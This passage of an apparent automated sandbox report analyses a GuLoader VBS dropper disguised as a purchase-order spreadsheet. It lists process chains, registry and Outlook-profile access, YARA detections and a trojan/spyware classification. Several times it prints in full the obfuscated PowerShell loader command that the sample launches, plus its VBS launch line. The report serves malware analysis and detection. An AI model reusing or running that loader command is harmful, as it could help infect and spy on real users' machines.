NoNPeaRupUnhLeoEr2Ho7No)Mo;Un[InDHalaflUvIAfmCoppaosprUntTo(Co`"""IrwaliSknMisOvpPeoNooAalRe.SldMorKlvFo`"""St)Se]CopFouCrbBilOpiSkcSk KasOvtBlaantFriOmcMa UneSuxEntTreLyrDenBe VeiFonRitCa haDCioUncGruRemDreMunWetSePFirSloLipPaeVkrPutIniTeeEnsVe(BoiAanLitWo WiFUvoTarBesat,FoiVenNitsa GrLSuaNonUsgSorBeeSi,FoiYunMitOu StSObkRerHeisevTv,FriGanTetTo BuhGheKamEx,waiAlnAntAn MeSSeaRhmErbDuaGrfTu,SeiSlnuntEx MoRReesitSpiau)Fr;Dr[WhDamlRelku
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Saudiarabiske = """KoAEldMedPo-CeTphySupLnePh Eg-FrTFoyCepspeGrDTeefafSaiRenSpiPltSeiUfoSlnRa Je'DruBlsLiiMinIngAx AjSmoyTesZatIneNemUg;SpuLesUniSonUngMu TrSPoyelsIntHaeKomTr.SvRKiuHenHatEgiSimKaeSh.MoICanPitOxeterStoFepTeSAreEfrSkvFoishcGaeBesFo;FopKouBabSelStihocLv MasAftTraRutSeiBecad MecVelSaaXysAusBr OsTSehLiwBuaKorHutAbnBeeBesBusUn1Ce Sa{Tr[MaDAnlOmlSpIVemArpSuoSerUttFr(St`"""PeAUnDOoVEdAStPunIFo3Nd2La.cuDGeLruLCi`"""Cl)Bl]BrpasuVibBolIsiudcWa UnsBetSuaImtAfiFucBi HaeSlxTotboeTjrSunKt reiVinSotTu SpGReeAftUdSoveLarUdvCoiVacTieSkKSteSayCiNInaWempreTa(NoiNongrtCo OmNAnoTayMoiCasPllMa,GriApnIntAl AlSSelLagSptSm6Pe9Fo,BiiUrnBetPi KrAIsfFifLiainlPo,maiBenMotTr AsbTeaGagLaaNy)Ma;Sc[SoDChlDelNgIGomMiptioVarkutPa(Sa`"""SkgWhdBoiSe3Vi2Pe`"""Sn)Ka]BepKruRabKllIbiFecSl FosBetAdaArtGriHvcEm DreHaxSatSeeAsrBrnDa AaiafnLotOv BeGNaeSotHjCamlRgiBupSaRmagConRe(SkiBanRatHe KoMEkuTalLa,StiaunCetEt TrGMagpyeUngAnuFi)Wo;Ub[UbDCalExlStIRomCipReoCarDytTr(Se`"""cakDieSarSenPleMalbi3Tr2si`"""Tr)Be]JopBruYabSolAuiLacDi DisLjtSkaEmtTuiOvcBe AterexSttDreAtrFonWe FlIUnnpatTaPsttVerAr SaEpinLsuMemUnSHayAbsDotaseTumSpLDroAdcVoaSllSteDksBaWSa(RauSviOpnAltko MevPe1du,MoiUnnHeter PlvSn2Ta)Du;He[CaDFolGylRaIEcmArpAnoBrrQutFe(Li`"""SykBaeskravnKaeMilSk3Mo2de`"""Di)Fa]PrpCouBebAnlAfiHycUn AlsHjtHyaDrtMiiUncPi CeeStxKytKaeAlrKonac ariBlnCatse HuGSilPsoSebEfaPllEmDMaeSalHeeSatBreprASmtGuoFimUn(PuiAenFotDr TePTrrtleDe1To5Sa1Co)Sk;ha[BaDEvlEulTrIDemHopSaoFarNotTr(Ca`"""AkgPidPliFi3Sc2Re`"""Aa)Da]SapEkuApbTalReiHacPr NosoptSraSktStiSqcAk EneAaxSptFoeTarDenSp AriSenOvtBe FlSFotEnrunoAekSheBoABlnTadPaFGeiSolAnlblPOsaAvtunhPr(DiiDdnArtKl AcEKrtLuhWiyUnlHj8Bl7Du)Bi;Qu[NoDKrlUnlEkIApmEmpSyoinrGltCy(Sa`"""seuMosPeeafrPa3Bl2In`"""Ko)Un]JrpdiuRebSklNoiSncSc SpsFutstaSetFaiklcMe UeeDexUdtCoeUnrJanSt iniNonFltRh GrCInlSkoInsBiePyCDalSuiMopEtbEnoTaaTarBedPa(Ku)Un;Yn[ChDAglLrlOtICamCopSaoGhrmatBa(Sp`"""PawTriArnResGapDeoAnoSplTi.BrdExrObvSp`"""Un)Dr]OppHeuInbUnlCeiCocSt UnsSetCeaFotDiistcMe StePaxwatlaeBrrRenOv PaiStnCotRu PlSEncLuhTeeNodTrutalDaedrJMaoPrbTr(BeitynOltkl KnUFanAfoKovCoeStrEl2Br2Kl6Re,IniNonRetKo PiaMikWetStiWa)Mu;Dd[AfDUnlSllspIVomRepNooTrrChtOl(Cy`"""GeAAnDPrVEgALiPSeIFo3Sp2Re.RyDOvLAjLRe`"""Do)St]TypNauRabMelPoilocBu PlsFitMiapatSciPecTa DieStxBotDreHurmenAl MliFanBltCi TrQMouFaeErrAryVoSHaeKorKrvTsiLecKueFaCudoAfnPrfliiSugHe(MuiFonpitHo prRTheEngoflEseatrFi,LiiInnGrtFu opCEnogasAc0Ti,BaiMinSttSh GrDDriSpsDepreoOvsSu,CoiRinTatIn NoNPeaRupUnhLeoEr2Ho7No)Mo;Un[InDHalaflUvIAfmCoppaosprUntTo(Co`"""IrwaliSknMisOvpPeoNooAalRe.SldMorKlvFo`"""St)Se]CopFouCrbBilOpiSkcSk KasOvtBlaantFriOmcMa UneSuxEntTreLyrDenBe VeiFonRitCa haDCioUncGruRemDreMunWetSePFirSloLipPaeVkrPutIniTeeEnsVe(BoiAanLitWo WiFUvoTarBesat,FoiVenNitsa GrLSuaNonUsgSorBeeSi,FoiYunMitOu StSObkRerHeisevTv,FriGanTetTo BuhGheKamEx,waiAlnAntAn MeSSeaRhmErbDuaGrfTu,SeiSlnuntEx MoRReesitSpiau)Fr;Dr[WhDamlRelku	Jump to behavior

Potential malicious VBS script found (suspicious strings)

Source:

Initial file: lysreklamerne.ShellExecute Blindtabletter, " " & chrw(34) & ap6 & chrw(34), "", "", 0

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 5576
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 5576			Jump to behavior

Source: PO-09784893 xlsx.vbs, type: SAMPLE	Matched rule: WScript_Shell_PowerShell_Combo date = 2018-02-07, author = Florian Roth, description = Detects malware from Middle Eastern campaign reported by Talos, score = 15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b, reference = http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: Process Memory Space: powershell.exe PID: 416, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_02879188	5_2_02879188
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_0287E7C9	5_2_0287E7C9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_0287E7D8	5_2_0287E7D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_028796B1	5_2_028796B1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07BE05D7	5_2_07BE05D7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07BE2070	5_2_07BE2070
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07BE2062	5_2_07BE2062
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C2F970	5_2_07C2F970
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C252C0	5_2_07C252C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C252B0	5_2_07C252B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C20040	5_2_07C20040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C20021	5_2_07C20021
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C44EA8	5_2_07C44EA8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C425A8	5_2_07C425A8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C425B8	5_2_07C425B8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C6FCA0	5_2_07C6FCA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07C6F090	5_2_07C6F090
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07BED639	5_2_07BED639
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 11_2_00B1C0AD	11_2_00B1C0AD
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 11_2_1F3AD720	11_2_1F3AD720
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 11_2_1F3A4FA0	11_2_1F3A4FA0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 11_2_1F3A7AE0	11_2_1F3A7AE0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 11_2_1FA719B0	11_2_1FA719B0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 11_2_1FA879E0	11_2_1FA879E0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 11_2_1FA809D2	11_2_1FA809D2
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 11_2_1FA85128	11_2_1FA85128
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 11_2_1FA8C323	11_2_1FA8C323
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 11_2_1FA8BB58	11_2_1FA8BB58
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 11_2_1FA864A0	11_2_1FA864A0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 11_2_1FA8DA82	11_2_1FA8DA82
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 11_2_1FA8DEC8	11_2_1FA8DEC8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 11_2_1FA84500	11_2_1FA84500

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 11_2_1CFDAFDA NtQuerySystemInformation,		11_2_1CFDAFDA
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 11_2_1CFDAFB8 NtQuerySystemInformation,		11_2_1CFDAFB8

Source: PO-09784893 xlsx.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: edgegdi.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO-09784893 xlsx.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Saudiarabiske = """KoAEldMedPo-CeTphySupLnePh Eg-FrTFoyCepspeGrDTeefafSaiRenSpiPltSeiUfoSlnRa Je'DruBlsLiiMinIngAx AjSmoyTesZatIneNemUg;SpuLesUniSonUngMu TrSPoyelsIntHaeKomTr.SvRKiuHenHatEgiSimKaeSh.MoICanPitOxeterStoFepTeSAreEfrSkvFoishcGaeBesFo;FopKouBabSelStihocLv MasAftTraRutSeiBecad MecVelSaaXysAusBr OsTSehLiwBuaKorHutAbnBeeBesBusUn1Ce Sa{Tr[MaDAnlOmlSpIVemArpSuoSerUttFr(St`"""PeAUnDOoVEdAStPunIFo3Nd2La.cuDGeLruLCi`"""Cl)Bl]BrpasuVibBolIsiudcWa UnsBetSuaImtAfiFucBi HaeSlxTotboeTjrSunKt reiVinSotTu SpGReeAftUdSoveLarUdvCoiVacTieSkKSteSayCiNInaWempreTa(NoiNongrtCo OmNAnoTayMoiCasPllMa,GriApnIntAl AlSSelLagSptSm6Pe9Fo,BiiUrnBetPi KrAIsfFifLiainlPo,maiBenMotTr AsbTeaGagLaaNy)Ma;Sc[SoDChlDelNgIGomMiptioVarkutPa(Sa`"""SkgWhdBoiSe3Vi2Pe`"""Sn)Ka]BepKruRabKllIbiFecSl FosBetAdaArtGriHvcEm DreHaxSatSeeAsrBrnDa AaiafnLotOv BeGNaeSotHjCamlRgiBupSaRmagConRe(SkiBanRatHe KoMEkuTalLa,StiaunCetEt TrGMagpyeUngAnuFi)Wo;Ub[UbDCalExlStIRomCipReoCarDytTr(Se`"""cakDieSarSenPleMalbi3Tr2si`"""Tr)Be]JopBruYabSolAuiLacDi DisLjtSkaEmtTuiOvcBe AterexSttDreAtrFonWe FlIUnnpatTaPsttVerAr SaEpinLsuMemUnSHayAbsDotaseTumSpLDroAdcVoaSllSteDksBaWSa(RauSviOpnAltko MevPe1du,MoiUnnHeter PlvSn2Ta)Du;He[CaDFolGylRaIEcmArpAnoBrrQutFe(Li`"""SykBaeskravnKaeMilSk3Mo2de`"""Di)Fa]PrpCouBebAnlAfiHycUn AlsHjtHyaDrtMiiUncPi CeeStxKytKaeAlrKonac ariBlnCatse HuGSilPsoSebEfaPllEmDMaeSalHeeSatBreprASmtGuoFimUn(PuiAenFotDr TePTrrtleDe1To5Sa1Co)Sk;ha[BaDEvlEulTrIDemHopSaoFarNotTr(Ca`"""AkgPidPliFi3Sc2Re`"""Aa)Da]SapEkuApbTalReiHacPr NosoptSraSktStiSqcAk EneAaxSptFoeTarDenSp AriSenOvtBe FlSFotEnrunoAekSheBoABlnTadPaFGeiSolAnlblPOsaAvtunhPr(DiiDdnArtKl AcEKrtLuhWiyUnlHj8Bl7Du)Bi;Qu[NoDKrlUnlEkIApmEmpSyoinrGltCy(Sa`"""seuMosPeeafrPa3Bl2In`"""Ko)Un]JrpdiuRebSklNoiSncSc SpsFutstaSetFaiklcMe UeeDexUdtCoeUnrJanSt iniNonFltRh GrCInlSkoInsBiePyCDalSuiMopEtbEnoTaaTarBedPa(Ku)Un;Yn[ChDAglLrlOtICamCopSaoGhrmatBa(Sp`"""PawTriArnResGapDeoAnoSplTi.BrdExrObvSp`"""Un)Dr]OppHeuInbUnlCeiCocSt UnsSetCeaFotDiistcMe StePaxwatlaeBrrRenOv PaiStnCotRu PlSEncLuhTeeNodTrutalDaedrJMaoPrbTr(BeitynOltkl KnUFanAfoKovCoeStrEl2Br2Kl6Re,IniNonRetKo PiaMikWetStiWa)Mu;Dd[AfDUnlSllspIVomRepNooTrrChtOl(Cy`"""GeAAnDPrVEgALiPSeIFo3Sp2Re.RyDOvLAjLRe`"""Do)St]TypNauRabMelPoilocBu PlsFitMiapatSciPecTa DieStxBotDreHurmenAl MliFanBltCi TrQMouFaeErrAryVoSHaeKorKrvTsiLecKueFaCudoAfnPrfliiSugHe(MuiFonpitHo prRTheEngoflEseatrFi,LiiInnGrtFu opCEnogasAc0Ti,BaiMinSttSh GrDDriSpsDepreoOvsSu,CoiRinTatIn NoNPeaRupUnhLeoEr2Ho7No)Mo;Un[InDHalaflUvIAfmCoppaosprUntTo(Co`"""IrwaliSknMisOvpPeoNooAalRe.SldMorKlvFo`"""St)Se]CopFouCrbBilOpiSkcSk KasOvtBlaantFriOmcMa UneSuxEntTreLyrDenBe VeiFonRitCa haDCioUncGruRemDreMunWetSePFirSloLipPaeVkrPutIniTeeEnsVe(BoiAanLitWo WiFUvoTarBesat,FoiVenNitsa GrLSuaNonUsgSorBeeSi,FoiYunMitOu StSObkRerHeisevTv,FriGanTetTo BuhGheKamEx,waiAlnAntAn MeSSeaRhmErbDuaGrfTu,SeiSlnuntEx MoRReesitSpiau)Fr;Dr[WhDamlRelku
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.cmdline
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB964.tmp" "c:\Users\user\AppData\Local\Temp\u5h0ocqr\CSC31BB2AFB2CA9494684B4A57A653EBF6B.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Saudiarabiske = """KoAEldMedPo-CeTphySupLnePh Eg-FrTFoyCepspeGrDTeefafSaiRenSpiPltSeiUfoSlnRa Je'DruBlsLiiMinIngAx AjSmoyTesZatIneNemUg;SpuLesUniSonUngMu TrSPoyelsIntHaeKomTr.SvRKiuHenHatEgiSimKaeSh.MoICanPitOxeterStoFepTeSAreEfrSkvFoishcGaeBesFo;FopKouBabSelStihocLv MasAftTraRutSeiBecad MecVelSaaXysAusBr OsTSehLiwBuaKorHutAbnBeeBesBusUn1Ce Sa{Tr[MaDAnlOmlSpIVemArpSuoSerUttFr(St`"""PeAUnDOoVEdAStPunIFo3Nd2La.cuDGeLruLCi`"""Cl)Bl]BrpasuVibBolIsiudcWa UnsBetSuaImtAfiFucBi HaeSlxTotboeTjrSunKt reiVinSotTu SpGReeAftUdSoveLarUdvCoiVacTieSkKSteSayCiNInaWempreTa(NoiNongrtCo OmNAnoTayMoiCasPllMa,GriApnIntAl AlSSelLagSptSm6Pe9Fo,BiiUrnBetPi KrAIsfFifLiainlPo,maiBenMotTr AsbTeaGagLaaNy)Ma;Sc[SoDChlDelNgIGomMiptioVarkutPa(Sa`"""SkgWhdBoiSe3Vi2Pe`"""Sn)Ka]BepKruRabKllIbiFecSl FosBetAdaArtGriHvcEm DreHaxSatSeeAsrBrnDa AaiafnLotOv BeGNaeSotHjCamlRgiBupSaRmagConRe(SkiBanRatHe KoMEkuTalLa,StiaunCetEt TrGMagpyeUngAnuFi)Wo;Ub[UbDCalExlStIRomCipReoCarDytTr(Se`"""cakDieSarSenPleMalbi3Tr2si`"""Tr)Be]JopBruYabSolAuiLacDi DisLjtSkaEmtTuiOvcBe AterexSttDreAtrFonWe FlIUnnpatTaPsttVerAr SaEpinLsuMemUnSHayAbsDotaseTumSpLDroAdcVoaSllSteDksBaWSa(RauSviOpnAltko MevPe1du,MoiUnnHeter PlvSn2Ta)Du;He[CaDFolGylRaIEcmArpAnoBrrQutFe(Li`"""SykBaeskravnKaeMilSk3Mo2de`"""Di)Fa]PrpCouBebAnlAfiHycUn AlsHjtHyaDrtMiiUncPi CeeStxKytKaeAlrKonac ariBlnCatse HuGSilPsoSebEfaPllEmDMaeSalHeeSatBreprASmtGuoFimUn(PuiAenFotDr TePTrrtleDe1To5Sa1Co)Sk;ha[BaDEvlEulTrIDemHopSaoFarNotTr(Ca`"""AkgPidPliFi3Sc2Re`"""Aa)Da]SapEkuApbTalReiHacPr NosoptSraSktStiSqcAk EneAaxSptFoeTarDenSp AriSenOvtBe FlSFotEnrunoAekSheBoABlnTadPaFGeiSolAnlblPOsaAvtunhPr(DiiDdnArtKl AcEKrtLuhWiyUnlHj8Bl7Du)Bi;Qu[NoDKrlUnlEkIApmEmpSyoinrGltCy(Sa`"""seuMosPeeafrPa3Bl2In`"""Ko)Un]JrpdiuRebSklNoiSncSc SpsFutstaSetFaiklcMe UeeDexUdtCoeUnrJanSt iniNonFltRh GrCInlSkoInsBiePyCDalSuiMopEtbEnoTaaTarBedPa(Ku)Un;Yn[ChDAglLrlOtICamCopSaoGhrmatBa(Sp`"""PawTriArnResGapDeoAnoSplTi.BrdExrObvSp`"""Un)Dr]OppHeuInbUnlCeiCocSt UnsSetCeaFotDiistcMe StePaxwatlaeBrrRenOv PaiStnCotRu PlSEncLuhTeeNodTrutalDaedrJMaoPrbTr(BeitynOltkl KnUFanAfoKovCoeStrEl2Br2Kl6Re,IniNonRetKo PiaMikWetStiWa)Mu;Dd[AfDUnlSllspIVomRepNooTrrChtOl(Cy`"""GeAAnDPrVEgALiPSeIFo3Sp2Re.RyDOvLAjLRe`"""Do)St]TypNauRabMelPoilocBu PlsFitMiapatSciPecTa DieStxBotDreHurmenAl MliFanBltCi TrQMouFaeErrAryVoSHaeKorKrvTsiLecKueFaCudoAfnPrfliiSugHe(MuiFonpitHo prRTheEngoflEseatrFi,LiiInnGrtFu opCEnogasAc0Ti,BaiMinSttSh GrDDriSpsDepreoOvsSu,CoiRinTatIn NoNPeaRupUnhLeoEr2Ho7No)Mo;Un[InDHalaflUvIAfmCoppaosprUntTo(Co`"""IrwaliSknMisOvpPeoNooAalRe.SldMorKlvFo`"""St)Se]CopFouCrbBilOpiSkcSk KasOvtBlaantFriOmcMa UneSuxEntTreLyrDenBe VeiFonRitCa haDCioUncGruRemDreMunWetSePFirSloLipPaeVkrPutIniTeeEnsVe(BoiAanLitWo WiFUvoTarBesat,FoiVenNitsa GrLSuaNonUsgSorBeeSi,FoiYunMitOu StSObkRerHeisevTv,FriGanTetTo BuhGheKamEx,waiAlnAntAn MeSSeaRhmErbDuaGrfTu,SeiSlnuntEx MoRReesitSpiau)Fr;Dr[WhDamlRelku	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.cmdline	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB964.tmp" "c:\Users\user\AppData\Local\Temp\u5h0ocqr\CSC31BB2AFB2CA9494684B4A57A653EBF6B.TMP"	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 11_2_1CFDAAB6 AdjustTokenPrivileges,		11_2_1CFDAAB6
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 11_2_1CFDAA7F AdjustTokenPrivileges,		11_2_1CFDAA7F

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_azl1colp.uti.ps1

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winVBS@13/10@2/2

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\ffc00a26ff38e37b47b2c75f92b48929\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1172:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:424:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1172:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:424:304:WilStaging_02

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO-09784893 xlsx.vbs"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source:

Binary string: $Pl8C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.pdb source: powershell.exe, 00000005.00000002.2587473723.000000000457C000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000005.00000002.2688111783.0000000009190000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.2410724852.0000000000B00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Obfuscated command line found

